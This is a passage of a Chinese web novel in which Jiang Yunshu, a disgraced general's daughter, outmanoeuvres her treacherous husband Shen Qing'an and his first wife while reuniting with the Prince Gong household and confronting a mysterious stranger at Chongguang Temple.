这一声,压着情绪,便是姜云舒抬头看她,亦感受到一股莫名的压迫。 姜云舒眼底之间神情流转,衡量之后,最后还是决定如实坦白。 “自沈清安回京,我便派人调查了他在岩城三年的细节,说是与原配走失,不过是用来遮掩骗婚的理由罢了,而且,根据最新收到的线索,我怀疑他与我定国将军府通敌一案有千丝万缕的关系,是以,我暂时还不能离开沈家。” “混账王八羔子!”闵青鸢猛地一巴掌拍在垫子上,眉宇之间怒意散开,“果然是个忘恩负义的东西,老娘绝不饶他!” 这动静有点大,稚儿被吓得一颤,撇着小嘴就要哭。 姜云舒紧忙将稚儿抱过来,放在腿上哄着。 “是我遇人不淑,当初竟看上了这样一只豺狼,不惜毁了与渊政王府世子的婚事,非得下嫁给他,如今害得我们全家四散不得相见,是我蠢。”姜云舒蹙着眉,声音酸涩。 说来也奇怪,当初面对沈家一家子的欺瞒背叛,她满腔只是怒意,到现在看到沈清安与高芝兰亲昵,她甚至连情绪都少有波动,可如今当着青鸢姐姐,不过谈论几句,她便觉得满腔委屈酸涩,若非稚儿在身边,她都要哭出来了。 “哼,还当你冰雪聪明呢,这都想不明白?” 闵青鸢没好气嗔她一句,“我定国将军府远调北域本就是父亲的意愿,你是咱家唯一的姑娘,父亲母亲拿你当眼珠子疼着,怎能舍得你远嫁?当然是因为早就意识到出了问题,就连当初退婚,也是因为那渊政王府世子自己也出了事,父亲担心渊政王府顾不上你,权益之下才决定退的婚,就连我也是,我是在将军府出事前三个月回的恭王府。” 姜云舒闻言惊讶地瞪大眼睛,“爹早有防范?可为何还……” 闵青鸢沉沉叹一口气,“其中深意我也不知,但父亲为我们部署好一切,便说明他心里有底,我们不必太过担心,只管好我们自己,不让他们再多分心才是。” 说着,她伸手握住姜云舒的手,连带着稚儿的小肉手也一起包裹住。 “我定国将军府是败了,但我姜家人也不是让人欺负的,有我在,你娘家人就在。”闵青鸢神情郑重。 “嗯。”姜云舒扯着唇角,难得这般轻松。 一路将恭王府众人送回府上,恭王府外早已有人管家在门口迎接。 姜云舒下了马车,视线朝恭王府另一侧的府邸看去,心口仿若被什么压着,沉闷压迫。 那原是定国将军府在京城的府邸,自后门与恭王府只有一墙之隔,如今人去楼空,大门封锁,院内的杂草已经有一人多高。 “所幸,他们都安然无恙。”此刻,闵青鸢过来在姜云舒肩膀拍了拍。 姜云舒倏然回过神来,朝她点点头。 念及恭王府众人一路舟车劳顿,姜云舒并不想久留,奈何,稚儿抱着她不让走,姜云舒无奈,在老王妃的挽留下,只得留了晚膳。 自恭王府出来,天已经擦黑,姜云舒与恭王和王妃告别,正准备离开,却听恭王府管家进来通报。 “王爷,沈家那位大人来接姜姑娘,可是请人进来?”闵管家禀报着,视线在恭王和老王妃面上扫过。 托裴钰的福,不到一月时间,沈清安带原配回京的消息早已经传遍了京城。 闵管家知道王爷和王妃疼爱姜云舒,但一时间摸不清楚姜云舒的态度。 “请什么请,他还敢来,让他在外面等着!”老王妃原本柔和的脸色的瞬间阴沉下来。 “哎呀,母妃!” 闵司捷上前扶住恭王妃,“你便是再气恼,如今阿舒还是沈家妇,总是要回去的。” 说着,又看向姜云舒,“阿舒可是要与他一同回去?亦或者,我送你回去?” 第60章 不拿你当个人 “都不用,我本是骑马出城迎接你们的,如今亦骑马回去便是。” 姜云舒伸手朝老王妃笑了笑,只是笑容带着些酸涩,“若我那夫君品行操守样样出众,我或许还想带他来您面前长长脸,奈何,我眼光不好,找了个拿不出手的,实在不想让他污了恭王府的地界,也不想在您和闵伯伯刚回京时就给您添堵。” 恭王妃瞧着姜云舒,心疼地抓着她的手,只恨不是她亲娘,夫家的事,恭王府不好直接出手。 “罢了,你既这般说,那便回去吧。”恭王妃顿了一下,依旧指挥闵司捷,“你将阿舒送出王府吧。” “是!” 闵司捷应声,带着姜云舒往外走。 此时,一辆华丽装潢的马车正停在恭王府正门口,见姜云舒出来,沈清安紧忙下了马车迎了出来。 “云……” 沈清安刚一张口,却被闵司捷打断。 “阿舒,回去早些歇息,明日一早我派马车去接你。” 说着,招招手,便有门童将姜云舒的马牵了过来。 “好,明早见。”姜云舒朝闵司捷眨眨眼睛,翻身上马。 两人就这么告别了,闵司捷甚至看都没看沈清安一眼,转身回去,紧接着恭王府的大门便关上了。 关,上了! 这避瘟一般的态度,再明显不过。 恭王府不拿你当个人! 沈清安的表情一下子僵在脸上,愤恨之下,真想一脚踢在那红木的大门上,奈何,他不敢。 不敢跟恭王府造次,便黑着脸转向姜云舒。 “亲自迎接不算,明日还要一早来接,你与那恭王府世子有何约定?”沈清安咬着后槽牙,眼底一片红血丝。 姜云舒垂眸看他,只觉无语,他该不会是在吃醋? 若是以前,她或许能相信沈清安会为了她吃醋,可如今,不管是不是真的,都只让她觉得可笑。 “听说沈大人是来接我的,多谢你的好意,不过,我的马似乎更快些,便不麻烦沈大人了。” 说完,不等沈清安反应,猛地拉紧缰绳,“驾!” 骏马一声嘶鸣,绝尘而去。 沈清安一时没反应过来,吃了一鼻子灰,就如同他回京那日,姜云舒迎上前时,被他的马车迎面兜了一脸尘。 他当然不能体会姜云舒当时的心情,可如今,他只觉像是被一直无形的手攥住心脏,闭门,窒息,又不甘心。 半个时辰后,姜云舒和月禾回到揽芳院,便有丫鬟白芷迎过来。 “夫人,您可回来了,流芳院那位被老夫人罚了跪祠堂,听说还被收回了中馈。”白芷放低了声音。 白芷是南城庄子上程瑞的女儿,算是家生子,姜云舒嫁进沈家后,见她做事仔细有分寸,便将她调来了揽芳院。 姜云舒伸手接过白芷递来的茶,低头浅抿一口,面上神情未有太大波动。 白芷见姜云舒没再问,放下茶壶转身出去。 “真是搬起石头砸了自己的脚,想来,这库房钥匙又要回到小姐手里了。”月禾眉梢之间染上丝丝得意。 还以为要为中馈谋划一番,结果,高芝兰竟自己撞上来了。 “没你想的那么容易,老夫人惦记中馈多年,如今拿回来,总得过过瘾。”姜云舒依旧不急不慢。 月禾蹙眉,却有些着急了,“如今距皇上回宫也没几日了,沈清安进宫述职怕是要趁机提及高芝兰正妻之事,咱们时间紧迫呢。” 她捻着手指,犹豫了片刻,还是接续道:“小姐,既然那书房防备,不如咱们就让沈家乱起来,直接强行破阵,其中隐藏秘密自然能现世。” 月禾术数不精,但强行破阵还是有手段的,不过动静大了些。 “还不是时候。” 姜云舒倒了一杯茶推到月禾面前示意她坐下,“激进只会打草惊蛇,沈清安回京月余未有动静,皇上回宫,他也该有所行动了,他动了,我们才好捕捉线索。” 若沈清安是依附了朝中大员,从中对将军府出手,那回京之后,他们之间必有联系,可姜云舒在沈清安身边部署了眼线,除了吏部侍郎和三皇子,他尚未接触任何值得怀疑的人物。 偏偏,吏部侍郎和三皇子也被排除了嫌疑,线索似乎还没露头。 正说着,就听院外白芷通报,福寿园的吉祥来了。 “让她进来。”姜云舒应一声。 “见过夫人,老夫人遣奴婢过来传话,请夫人过去前厅一趟。”吉祥进来。 姜云舒喝茶的动作微顿,抬头看着窗外的月光,思量着沈清安差不多也该回来了。 “走吧。” 姜云舒放下杯盏,起身。 前厅。 姜云舒到时,老夫人和沈清安正在说话,气氛竟没有预期的凝重。 老夫人瞧见姜云舒,朝她招招手。 “云舒,你来。” 姜云舒上前,经过沈清安身边,他竟“大度”地没有露出任何不悦。 这气氛,真真有几分说不上来的诡异。 “叫你过来,是想与你商议城外粥棚之事。”老夫人倒是不拐弯抹角,直奔主题。 沈清安任职这三年,本就专于治理水患,同样是灾民奔赴,这粥棚的功绩若是加在沈清安头上,待皇上回宫,必定封赏更甚。 姜云舒伸手捻起桌上果盘中的果子,也不往嘴里送,只是捻着。 “老夫人应该听说了,今日我粥棚被有心之人撺掇闹事,您要与我商议粥棚之事,得先给我一个交代。”她声音平静,让人不辨喜怒。 明面上,的确没有直接证据指证高芝兰,可有些事情大家心知肚明,老夫人罚她跪祠堂,已经是表明态度了。 “这次是芝兰糊涂,我已经罚了她,如今她也正在祠堂跪着反思,你放心,今后她定然不敢再有出格举动。”老夫人义正言辞,就差拍胸口保证了。 姜云舒依旧捻着那颗果子,红色的果子在她指间光泽油润。 她不接老夫人的话,也不开口,很明显,只是这样的交代,诚心不够。 沈清安的视线凝在姜云舒脸上,原本压着的怒意又窜起一截。 “姜云舒,你到底要如何才肯罢休,别忘了,你也是我沈家人!” 第61章 诊出喜脉 “沈大人何必如此着急。” 姜云舒不紧不慢,樱唇之间勾起淡淡笑意,“我做事向来不喜欢别人横插一脚,以沈家名义施粥我可以答应,但不允许高夫人出现在我的粥棚,粥棚的任何调整,沈大人亦不可干涉。” 说完,她扭头看向老夫人和沈清安。 沈清安对姜云舒平日行事风格尚不了解,但老夫人清楚,这三年来,姜云舒每次施粥做善事周全妥当,从未出现过岔子,当即便点了头。 “好,粥棚你全权负责。” “还有,今日一闹,我粥棚毁了将近两百斤粮食,这得赔偿我,另外,既然是以沈家名义施粥,那后续粮食,也得从公中出一部分。” 姜云说完,低头抿一口茶水,也不催促,只能沈清安和老夫人眼神交流。 虽说去年庄子上收成不错,可也架不住越来越多的灾民,沈家想沾光,总得让他们出点血。 提及出粮食,老夫人仿佛被人咬了一口似的,疼得一脸狰狞,可这个节骨眼上,沈清安不做,有的是人想在皇上回宫前抓住机会表现一番。 粮食而已,每年崔家都会送来新的,总不会少了吃的。 思量之下,老夫人一咬牙,“可以,如今库房钥匙在我手里,你若需要,便可来我这里领粮食。” “老夫人大义,有您这话,我便放心了。” 姜云舒勾着唇角朝老夫人露出一个敷衍的笑,同时,从腰间拿出一份合约,“沈大人和老夫人看一下,若无异议,便将这合约签了。” 自沈清安回来,姜云舒便清醒了,山盟海誓的并不可信,可靠的还得是写下来盖了章的白纸黑字,如此,反悔时,才好告他。 “你,姜云舒,你对我如此不信任?”沈清安瞪大眼睛,怒意腾起。 姜云舒迎着沈清安的视线,她不说话,只是挑着嘴角看他。 都张嘴让她做妾了,他还有什么值得信任的? 她的目光并未有锋芒,明明是笑着,却让沈清安感觉一股莫名的寒凉自脊背往上攀爬,原本不断上涌的怒意莫名就被冲散了。 半晌,沈清安烦躁地吐出两个字。 “随你!” “那就请沈大人按了手印。”月禾快步上前,将合约送到沈清安跟前。 沈清安恶狠狠地瞪月禾一眼,按下了手印。 “如此,合作生效,明日粥棚还有事要处理,我便回去了。” 姜云舒朝老夫人微微一礼,转身往外走。 待她离开,老夫人和沈清安下意识松了一口气,可这口气还没出来,似乎又意识到不对。 依照他们的计划,这件事本是他们得利,可怎么现下这气氛,倒像是他们被姜云舒差遣了? 老夫人心里没底,扭头看沈清安,“你说,这姜氏不会趁机做筏子,将我沈家至于不利之地吧?” “不会。”沈清安脸色阴沉却又很坚定,“城外粥棚一直是她亲力亲为,若出事,她第一个跑不了,她不至于那么蠢。” 说到这里,又想起高芝兰为了一己私怨,不顾沈家死活在粥棚闹事,沈清安的心口又像是被压了一块石头。 这边姜云舒和月禾往回走,过了后花园,月禾忍不住嘟哝。 记住本站: “还以为老夫人是要把中馈还回来,结果说了一圈,她还是死活不肯松手,真是没劲!” “不着急,让她多得意几日,待她拿不住,自然会送过来。” 姜云舒随手摘了花丛中一片叶子,捻在手里把玩,又吩咐月禾,“明日记得让粥棚的管事过来提米,记得依旧送到京兆府检验过后再送到粥棚。” “是。” 月禾应声。 翌日清晨,微开的窗户缝隙中投进丝丝缕缕的阳光,驱散了初春的寒凉。 姜云舒是被月禾叫醒的,朦胧之中睁开惺忪睡眼,还没清醒,便听月禾禀报。 “小姐,闵世子来了,马车就在外面等着。” 姜云舒顿了一下,这才想起来,昨晚回来时和闵司捷约好了,今日一早要带老王妃在京城逛一逛。 “快些给我梳妆。”姜云舒紧忙下了床。 月禾招呼白芷一同进来,两人快速的侍奉她洗漱好,又梳了一个活泼的发髻,一如当初她在定国将军府那般,明媚阳光。 姜云舒看着铜镜中的自己,莫名有些恍惚,同样的装束,她自己都能看出自己脸上的变化。 不过成个亲而已,脸上的疲态便这般明显了吗? 果然,男人只会加速女人的衰老,男人真不是什么好东西。 快速装扮好,姜云舒便急匆匆往外走,原本想着时候还早,应该不会遇到什么人,谁知刚出二进院,就见沈清安黑着一张脸,看样子似乎正在等她。 “这么早,你便要去粥棚?”沈清安说话带迂回。 “不去,只是陪恭王府众人四处逛逛,怎么,沈大人如今不忙了,是想与我们同去?”姜云舒迎上前,唇角微动,勾出一抹不达眼底的笑。 沈清安眼皮动了一下,似是要回答,可尚未开口,姜云舒的话再次传来。 “那怕是不巧了,听说昨晚高夫人在祠堂晕倒了,沈大人与高夫人感情深厚,想来也是没心思逛的。” 说话的同时,姜云舒脚步不停,不给沈清安再开口的机会,人已经出了大门。 沈清安一句话卡在喉咙里,上不下不来,真真憋得难受。 此刻,他似是突然意识到,自诩口才不俗的他,面对姜云舒时,总是被撅得张不开嘴。 果然,太强势的女人一点都不讨喜! 京城,繁荣街。 恭王府多年未回京,府里陈设衣物也都是多年前的,如今回来,尤其还多了一位世子妃,有些东西是要重新置办。 姜云舒在马车里跟恭王妃说了各处店铺特点,随即朝车窗外看一眼,不由疑惑。 “今日澜姐姐怎的没跟来?要我说,她还从未来过京城,今日应该出来才是。” 这话是随口问的,岂料刚问完,就见恭王妃和闵青鸢表情微妙地变了变。 两人交换一个眼神,恭王妃开口,“昨日用完晚膳,世子妃便觉身子不爽,吐了好几次,原以为她是水土不服,才有此反应,便请了府医过来诊断,结果,竟是喜脉。” 记住本站: 第62章 造谣一张嘴 “喜脉?那司捷哥哥要做父亲了!”姜云舒一时兴奋,瞪大眼睛朝外面看了一眼。 “嗯。”恭王妃点点头,又叮嘱道:“月份还小,加之世子妃身子反应剧烈,此时切莫声张。” 说话的功夫,马车晃晃悠悠停了下来。 已经到了繁荣街,接下来马车进不来,须得步行。 姜云舒和闵青鸢扶着老太妃往里走,闵司捷便在后面等着帮她们拿东西。 “先去布庄,给世子妃选几匹新布料。”恭王妃开口。 恭王府随远在边关,可到底是权贵,如今回京诸多应酬,世子妃的衣服需准备妥当。 姜云舒听恭王妃吩咐,带着他们进了布庄,谁知刚进门,就见高芝兰正和几个家丁与布庄老板商议租赁店铺。 瞧见姜云舒众人进来,高芝兰的面色一僵,随即视线越过姜云舒,落在恭王妃身上。 她不认得恭王府任何人,却认得老王妃腰间那快玉牌,表情快速变化之后,笑容堆在脸上。 “听说恭王府昨日回京,想来您便是王妃吧!”高芝兰迎上来,朝恭王妃一礼,“我是光禄寺少卿沈家夫人,见过王妃。” 恭王妃似是习惯了被陌生人恭维,她不搭话,只看向姜云舒,眸光一沉。 “舒丫头,她说她是哪家夫人?” 那话声音清亮,带着一股莫名的压迫感,高芝兰突然有些后悔过来打招呼。 “沈家的,就是我嫁的那个沈家,依他们所说,这位高夫人是原配。”姜云舒回答恭王妃,视线却睨在高芝兰脸上。 “呵,原配?我大瑞律法,明文规定,官员不得取双妻,这原配可是来毁他前程的?”恭王妃又问。 不过两句,已经问得高芝兰额间冒出一层细密的汗。 见她一时不回答,闵青鸢冷哼一声,“你既认出我们是恭王府的人,也应该知道,我恭王府和姜家是世交,你顶着沈家夫人的名头过来拜见我母妃,怕不是来捡骂的吧?” 闵青鸢也想不明白这位“原配”究竟是怎么想的。 高芝兰没想到闵青鸢竟这般直白,汗流浃背地呆愣片刻,下意识开口解释,“当初相公娶姜夫人时,并不知我还活着,我……” “你是死是活跟不必跟我们解释。”闵青鸢直接打断高芝兰,随即转向姜云舒,“不是说还要带我们拜见老太傅?那便走吧。” 原本的好心情,被突然跑出来的这个“沈夫人”败了兴,是得换个环境。 姜云舒眉梢轻挑,视线划过高芝兰面上,朝闵青鸢点了点头。 恭王府一行人自高芝兰面前略过,高芝兰看着几个人的背影,攥起拳头咬牙切齿。 “哼,你以为姜云舒为什么要对你这般殷勤,待她染上你的世子爷,你哭都找不着调!” 她恶狠狠地瞪着闵青鸢的背影。 下意识里,她将闵青鸢当成了恭王府的世子妃。 相传恭王府举家回京,却没人知道这举家里还有个嫁出去的女儿,高芝兰没见过闵青鸢,只看她梳着妇人的发髻,便下意识认错了也在所难免。 在恭王府众人面前受了气,高芝兰也不谈店铺租赁了,转身回了沈家。 沈清安正在凉亭读书,冷不丁听到高芝兰回来的动静,着实惊了一下。 记住本站: “相公,你可要为长元做主啊!”高芝兰声音带着哭腔,仿若真被欺负了一般。 沈清安起身,尚未开口问,就听高芝兰自行说了起来。 “今日我去繁荣街谈商铺租赁,刚好遇到姜氏带恭王府一家逛布庄,我只当姜氏是我沈家人,自然要上前行礼拜见,谁知他们竟羞辱于我……” 话说一半,高芝兰伸手在脸上擦了一把泪,见沈清安脸色霎时阴沉,趁机又接着说。 “他们看不上我们这小门小户,我忍了,可姜氏又带他们去了老太傅府上,她好歹是我沈家人,放着长元不管,却为恭王府的孩子鞍前马后,我真的为长元委屈啊!” 几句话,在高芝兰嘴里添油加醋后,便将姜云舒对沈家异心的形象描绘得淋漓尽致。 沈清安早晨被姜云舒噎了一通,心里正不痛快,如今又听高芝兰这番话,怒意瞬间腾升。 好她个姜云舒,如今是看恭王府回京,便将目标转向了那恭王府世子? 不得不承认,昨日在门口与那恭王府世子打过一个照面,沈清安莫名生出了危机感。 听说那恭王府世子文采武略样样出众,最重要的是,人家出身权贵,是沈清安比不了的。 是夜,月影遍地,桦树婆娑,夜风拂过庭院,修竹随风摇曳。 姜云舒回到揽芳院时,天已经黑了,刚到门口,白芷便急匆匆迎了出来。 “夫人,沈大人在屋里等了有一个时辰了。”白芷面上带着紧张。 沈清安来时,脸色并不好看,自进了里屋,便坐在桌前,也不让上茶水,只冷森森地坐着。 白芷摸不透沈清安的脾气,只战战兢兢在外面等着,这一个时辰里,大气都不敢喘。 “肯定是那高芝兰在他耳边吹了什么邪风。”月禾没好气地撇撇嘴。 姜云舒抬眸朝里屋看一眼,跟白芷摆摆手。 “你先去泡了茶过来吧。” 吩咐着,姜云舒抬脚往里走。 听得开门的声音,沈清安倏然抬头来,视线落在姜云舒身上,原本不怎么好看的脸色更难看了几分。 “你……” “不知沈大人深夜过来,可是有什么重要的事?” 姜云舒抬高声音,将沈清安的话压住。 沈清安蹙了蹙眉,没好气道:“我是你的夫君,没事就不能来你这里?” “哦,可以啊,整个沈府都是你的,沈大人随便坐,我累了,先歇了。” 姜云舒抬脚往里走,一边说着还打了个哈欠,叮嘱月禾,“月禾,晚上不必灭灯。” 沈清安万万没想到,他都主动过来了,姜云舒竟然会无视他! 别人家后宅妇人争宠,费尽心机,他都主动过来找她了,她竟无视! 不甘和气愤同时冲撞上涌,沈清安猛地起身,一把拽住姜云舒的手腕。 “姜云舒,你已经嫁入我沈家门,便是我沈家妇,最好不要生了不该有的心思!” 记住本站: 第63章 自身难保 “别的心思?” 姜云舒视线凝在沈清安脸上,蔑地笑出声,“自嫁入沈家,我的心思便是好好过日子,人不犯我,我自不会主动讨嫌,倒是沈大人,你生的什么心思,我就不得而知了。” 她未明说,可入了沈清安的耳,却是意思明确。 他是如何同意这门婚事的?不,在他看来是“同意”,可在众人眼里,这门婚事明明是沈清安在定国将军府抛来橄榄枝后,自己求来的。 所以,是什么心思呢,是贪图定国将军府的托举之力?还是因背后之人授意? 此刻姜云舒不得而知,但能确定的是,沈清安眼中一闪而过的情绪,是心虚。 “哼,你以为,恭王府回京便可成为你的依仗?现下,他们恐怕自身难保!”沈清安咬着牙,眼底似有狠厉散开。 姜云舒猛然一顿,“你什么意思?” 恭王府在封地多年未曾回京,如今也是因为太后薨逝前来吊唁,是奉了皇命回京,何来“自身难保”一说? 她面上显露的紧张让沈清安莫名生出一股得意,他冷哼一声,仰起头。 “朝堂之事,不是一介妇道人家能打听的,即便你知道缘由,如今定国将军府流放崖州,凭你,能做什么呢。” 沈清安朝姜云舒靠近,言语之间带着引诱,“不论如何,你如今已是我沈家妇,你若透彻,自当将心安于沈宅,你若为贤妻,我亦不会负你。” 说话间,他抬手朝姜云舒脸伸过去。 姜云舒眸光一闪,先一步后退,躲开他的手。 “我就不劳烦沈大人了,倒是老夫人那边……”她顿了一下,应着沈清安愠怒的表情,提醒,“三日后,崇光寺长明大师出关,届时去崇光寺或许有缘能求到老夫人要的佛珠。” 提及佛珠,沈清安就感觉膝盖传来一股莫须有的疼痛。 两千七百六十七个台阶,这一路磕头跪上去,膝盖必定血肉模糊。 想着,他的视线下移,看向姜云舒,“你当时……” “沈大人若是没有其他事,我便歇了,你自便。” 一边说着话,姜云舒抬手捂住口,打了个哈欠。 “你!”沈清安脸色涨红,额间青筋随之暴起,“你不要不识好歹!” “是,是我不识好歹,所以,沈大人可以让我休息了吗,挺累的。”姜云舒依旧有耐心地敷衍。 沈清安只觉心口一股无名的怒火蹭蹭上窜,却又找不到发泄的出口,只憋得他脸色越涨越难看。 “你最好别后悔!” 憋了半晌,他甩下一句狠话,怒气冲冲地出了门。 待沈清安离开,月禾嘟嘟囔囔地进来。 “这沈清安又是抽的什么风,别是又被那高氏在耳边嘀咕了什么就来我们这里发疯吧!” “不必理会。” 姜云舒接过月禾递来的清水润了一口,吩咐道:“你得了机会给吉祥提个醒,这两日悄摸给老夫人添点堵,让她意识到没了琥珀佛珠她会诸事不顺。” “哎!” 记住本站: 月禾挑眉,面上带了笑,“小姐总算是让他们吃点苦头了,想想都觉着痛快!” 姜云舒扭头看她这一脸兴奋的模样,忍不住叹一口气。 “皮肉之苦算什么,你我从小自军营之中摸爬滚打,皮肉之苦不过一时之痛,并不会伤其根本。” “那……”月禾眨眨眼睛,没明白,“哎呀小姐,我没有我哥聪明,你还是说得直接一些吧。” 姜云舒将杯盏放下,耐心解释,“我的意思是,两千七百六十七个台阶,纵是习武之人都受不住,沈清安的膝盖必定血肉模糊,而活生肌肉白骨的药,除了御药房里的新肌散,就只有我定国将军府的金疮药了。” “哦……”月禾应一声,像是明白了,又好像没全明白。 不过,在她看来,除了皮肉受苦之外,沈清安又要被小姐拿捏了,想想还是痛快。 三日后,阳光明媚,晴空万里,是个上香祈福的好日子。 姜云舒和闵青鸢一大早便上了崇光寺,就为那头柱香。 两人上完香,又去给定国将军府众人供奉了祈福的长明灯,崖州苦寒之地,加之这半年来,接连出现遇刺事件,终究是让人担心的。 “上次之后,父王调了一队暗卫去崖州,想来不会有太大问题。”闵青鸢拉着姜云舒的手。 姜云舒应声,思量之下,还是将沈清安那日脱口而出的那句话告知了闵青鸢。 “如今恭王府举家回京,除了奔丧,可还有其他原因?”姜云舒问。 闵青鸢蹙眉,面色略显凝重,思量片刻,似是想起什么。 “若一定要说,想来应是三月之前,父王收到信阳侯府借兵的书信,那时谭世子为钦差密查定南总督,当时局势紧张,便写信与我恭王府借兵以防不备,不过父王并未借兵,只回信提点谭世子突破口。” 她一边回想着,思绪在脑子里快速流转,“父皇做事想来缜密,应该不会给人留下把柄,除非信阳侯府有心以此做文章。” “以目前朝中局势来看,信阳侯府并未有以此为难恭王府的理由,更何况……”姜云舒犹豫了一下,还是决定如实告知,“芷妃娘娘准备送六皇子入军营历练,以如今兵力掌控来看,恭王府回京,便成了他最好的选择。” 朝中各部势力错综盘结,六皇子历炼必躲不开皇后势力,而恭王府根基在东江,与朝中牵连甚少,便成了六皇子的最优选。 有这一诉求在先,信阳侯府必然不会与恭王府为敌。 “想不通便无需多想,我会提醒父皇尽早部署提防。”闵青鸢拍了拍姜云舒的手,随即另起话题,“今日母妃一早便念叨着让我来为澜姐姐和腹中胎儿求平安符,你尚未生育便在外面等我吧。” “好,一炷香后,我们在前殿汇合。”姜云舒应声,转身往外走。 回京这三年,姜云舒闲来便上崇光寺祈福,为父母兄长,为沈清安,还为老夫人,除了祈福,便是在寺外勘察地形,像如今这般在崇光寺内闲逛,还是第一次。 走着走着,也不知进了哪座大殿,这里不似正殿香火旺盛,甚至几乎没有香者和游客,安静异常。 姜云舒走了一段便准备离开,却在转身之际,余光扫到偏殿之中,跪于殿内的一个身影。 和那口口声声让她做压寨夫人的登徒子极为相似! 记住本站: 第64章 那个人 只是一瞬间,姜云舒都来不及多想便朝那人走了过去。 此刻,谢无烬正跪于殿内,正前方台上的牌位写的是“香茗之位”,未有称呼和介绍,只是一个名字。 偏殿之内无声,谢无烬跪于牌位之前,心口似有什么东西压着,喘不过气来。 情绪正压抑,此刻脚步声靠近,他倏地回过头,泛红的眼底带着弑杀般的利刃朝姜云舒看过来,下一瞬认出是她,眼神瞬间收敛。 “你……” “是你?” 姜云舒脚步停住,视线凝在他脸上。 不是那黑衣人,而是那日在城门口那位混在灾民营里的男子,可刚刚那个眼神…… “你不是锦州人?”姜云舒审视的视线落在他身上。 牌位能落于崇光寺,定然是京城之中权贵之人,而过来祭拜的,定然是亲人。 谢无烬似乎也没想到会在这里遇到姜云舒,眸光之中惊诧闪过,随即又勾起唇角。 “我本来也没说我是锦州人。” 他眯着眼睛,笑容散漫又肆意,仿佛刚才那一闪而逝的嗜杀凶恶只是幻觉。 “你亲人的牌位在崇光寺,你是京城人氏。”姜云舒上前一步,视线依旧凝在那张面容俊朗却又玩世不恭的脸上。 “我儿时曾在京城住过几年。” 谢无烬挑了挑眉梢,反问:“你不是也是生于边境,三年前才回来的吗?” 京城之中,来来往往的人多了。 姜云舒同样不否认,只是看向他的目光又深了几分,“你谈吐之间彰显贵气,可在京城之中却查无此人……” 话音刚落,姜云舒突然抬手,银蔓长鞭快速朝谢无烬甩了过去,下一瞬鞭尾利刃抵在了他的喉咙。 “你到底是什么人!” 姜云舒似是有了猜测,可那个猜测太过大胆。 利刃尖端抵在喉间,谢无烬本能的仰起头,脸上笑意未曾有丝毫变化。 “怎么,你对我有兴趣?” 明明是笑,却让姜云舒感觉到一股说不上来的危险,如同凭空的一只手,会在她出其不意之是,将她拽入深渊。 这种气场和压迫,很熟悉。 “你是那晚的黑衣人!” “呵,竟然被你识破了。” 谢无烬轻笑,下一瞬,他突然侧身,抬手拽住姜云舒的鞭子,瞬间用力将她拽了过来。 “我就知道你对我念念不忘,不过还不是时候,别急,等机会到了,我便将你带回去。” 他脸上还是那般风轻云淡的笑,即便姜云舒鞭子的尖端刺破他手上的皮肉,鲜血渗透出来,他的表情都未有一丝变化。 记住本站: “痴人说梦!” 姜云舒眸光一沉,紧接着手中长鞭再次朝谢无烬抽了过去。 谢无烬被迫躲开,快速闪出殿外。 “寺院之中,可不是动手的地方,下次,一定陪你打个痛快。” 说话的功夫,谢无烬已经跃上了大殿的屋顶,“对了,顺便告诉你,城外灾民之中已经有人出现了疫病征兆,皇帝或许会因此提前回宫,有些事,你可得抓紧了。” 莫名其妙的一句话,说完,他闪身消失于墙院之外。 眼看着没有追的必要,姜云舒收回长鞭,远远盯着谢无烬离开的方向,深眸之中思绪流转。 除了知道她的身份,还知道沈清安的消息,甚至,就连皇上的动向也能觉察,此刻姜云舒脑子里不由得闪过一个人的名字。 渊政王府世子,谢无烬。 虽未曾谋面,可接连几次交手,凭仅有的信息推测,若他是谢无烬,这些事情便说得过去了。 可…… 姜云舒似是想起什么,快步朝那人刚才祭拜的偏殿走去。 偏殿之中只供着一个牌位,排位上无身份,无称谓,只有“香茗”二字可表身份。 可这位究竟是什么身份呢。 京中三年,姜云舒的情报网中,对与京中权贵消息也有所掌握,从未听过一位叫做“香茗”的人,即便是渊政王府搬离京城之前,她亦从未听过这个名字。 或许,是她想错了。 一炷香后。 闵青鸢为宋时澜求了平安符出来,就见姜云舒拧着眉头,一脸若有所思的模样。 “脸色这么难看,难不成遇上沈家那窝豺狼了?”闵青鸢打趣她。 姜云舒回过神,没好气地朝她翻了翻眼皮,“你就不能盼我点好……” 话没说完,她视线朝山下一瞥,就见沈清安和沈清睿正三步一磕头地往山上来。 “啧,你怕不是背着我把嘴也光了吧!”姜云舒没好气。 闵青鸢顺着她的视线,也看到了沈家两兄弟,眼神一转,便拉上姜云舒往外走,“走走走,看热闹去。” 姜云舒嘴角颤了颤,还没说话,便被闵青鸢拉着往下走。 这边沈清安和沈清睿已经快到崇光寺了,两人脸色苍白,额间尽是汗珠,再往下看,长衫遮挡之下,依旧能看到被染红的裤子。 鲜红的血透过布料,染红了膝盖处的一大片,嘶……看着都疼。 “哟,这是意识到了自己的罪孽,跑来跟菩萨认罪的吗?”闵青鸢开口便阴阳。 沈清安和沈清睿正疼得咬牙,冷不丁听闵青鸢这一句,同时抬起头来。 “姜嫂嫂!” 这时,沈清睿瞧见了姜云舒,紧忙开口打招呼。 记住本站: 随着沈清睿这一嗓子,沈清安也跟着抬头,待看清是姜云舒,脸上的表情在一瞬之间变了好几变。 “云舒,你怎么会……” 沈清安开口,说话的瞬间瞧见闵青鸢手里的一串蜜蜡琥珀,神情顿时一僵,“看来,你们也是一路三步一拜上山,求得这佛珠?” 这话说得阴阳怪气,一边说着,沈清安的视线在姜云舒和闵青鸢膝盖处扫过,别说血渍,便是裙摆上连灰尘都没有。 “不是啊。” 闵青鸢低头看着手里的佛珠,“这琥珀佛珠虽珍贵,却也不难求得,诚心便可,不过像你沈家,三跪一拜磕头上来都磕不出一丝真心来,怕是拿不到的。” “诚意?” 沈清安惊呼一声,冷厉的目光看向姜云舒,“你不是说,这佛珠是你一路跪拜,诚心打动长明大师才求来的吗?姜云舒,那你在戏耍我们?” 记住本站: 第65章 推粪的屎壳郎 姜云舒抬头看沈清安,他眼底埋着红血丝,狰狞质问的模样,让她不由得冷冷勾起唇角。 “那年六月,老夫人命在旦夕,除了请太医入府,我能亲力亲为的,便是向菩萨跪拜以示诚心,也正是因为这诚心,使得长明大师提前出关为老夫人诊病,并赠送了安神的琥珀佛祖,沈大人,你倒是说说,我有那一句是戏耍你?” 姜云舒言语平静,却字字句句如开刃的利箭朝沈清安心口上扎。 她没有对不起沈家任何一个人,反而是他沈家人,背信失约,忘恩负义! 沈清安原本失血的脸上更添了一层苍白,张张嘴,却不知如何应答。 他僵在原地,闵青鸢忍不住冷哼一声。 